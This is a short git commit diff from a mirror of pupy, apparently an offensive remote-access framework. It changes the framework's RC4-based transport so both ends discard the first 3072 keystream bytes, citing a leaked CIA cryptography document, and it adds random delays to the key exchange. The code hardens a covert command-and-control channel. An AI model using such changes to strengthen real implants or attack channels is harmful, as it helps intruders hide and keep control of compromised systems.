mirror of https://github.com/n1nj4sec/pupy.git
Pass first 3072 bytes from RC4 stream, as CIA suggests to us
This commit is contained in:
parent
722369239c
commit
65fdef62c5
|
@ -6,6 +6,8 @@ from ..base import BasePupyTransport, TransportError
|
||||||
from ...lib.picocmd.ecpv import ECPV
|
from ...lib.picocmd.ecpv import ECPV
|
||||||
|
|
||||||
import struct
|
import struct
|
||||||
|
import time
|
||||||
|
import random
|
||||||
|
|
||||||
from Crypto.Cipher import ARC4
|
from Crypto.Cipher import ARC4
|
||||||
|
|
||||||
|
@ -41,11 +43,19 @@ class EC4TransportServer(BasePupyTransport):
|
||||||
request = data.read(2 + length)
|
request = data.read(2 + length)
|
||||||
|
|
||||||
response, key = self.encoder.process_kex_request(request[2:], 0, key_size=128)
|
response, key = self.encoder.process_kex_request(request[2:], 0, key_size=128)
|
||||||
|
|
||||||
|
# Add jitter, tinyec is quite horrible
|
||||||
|
time.sleep(random.random())
|
||||||
self.downstream.write(struct.pack('H', len(response)) + response)
|
self.downstream.write(struct.pack('H', len(response)) + response)
|
||||||
|
|
||||||
self.encryptor = ARC4.new(key=key[0])
|
self.encryptor = ARC4.new(key=key[0])
|
||||||
self.decryptor = ARC4.new(key=key[1])
|
self.decryptor = ARC4.new(key=key[1])
|
||||||
|
|
||||||
|
# https://wikileaks.org/ciav7p1/cms/files/NOD%20Cryptographic%20Requirements%20v1.1%20TOP%20SECRET.pdf
|
||||||
|
# Okay...
|
||||||
|
self.encryptor.encrypt('\x00'*3072)
|
||||||
|
self.decryptor.decrypt('\x00'*3072)
|
||||||
|
|
||||||
if len(data):
|
if len(data):
|
||||||
rcv = self.decryptor.decrypt(data.read())
|
rcv = self.decryptor.decrypt(data.read())
|
||||||
self.upstream.write(rcv)
|
self.upstream.write(rcv)
|
||||||
|
@ -106,6 +116,9 @@ class EC4TransportClient(BasePupyTransport):
|
||||||
self.encryptor = ARC4.new(key=key[0])
|
self.encryptor = ARC4.new(key=key[0])
|
||||||
self.decryptor = ARC4.new(key=key[1])
|
self.decryptor = ARC4.new(key=key[1])
|
||||||
|
|
||||||
|
self.encryptor.encrypt('\x00'*3072)
|
||||||
|
self.decryptor.decrypt('\x00'*3072)
|
||||||
|
|
||||||
if len(data):
|
if len(data):
|
||||||
rcv = self.decryptor.decrypt(data.read())
|
rcv = self.decryptor.decrypt(data.read())
|
||||||
self.upstream.write(rcv)
|
self.upstream.write(rcv)
|
||||||
|
|
Loading…
Reference in New Issue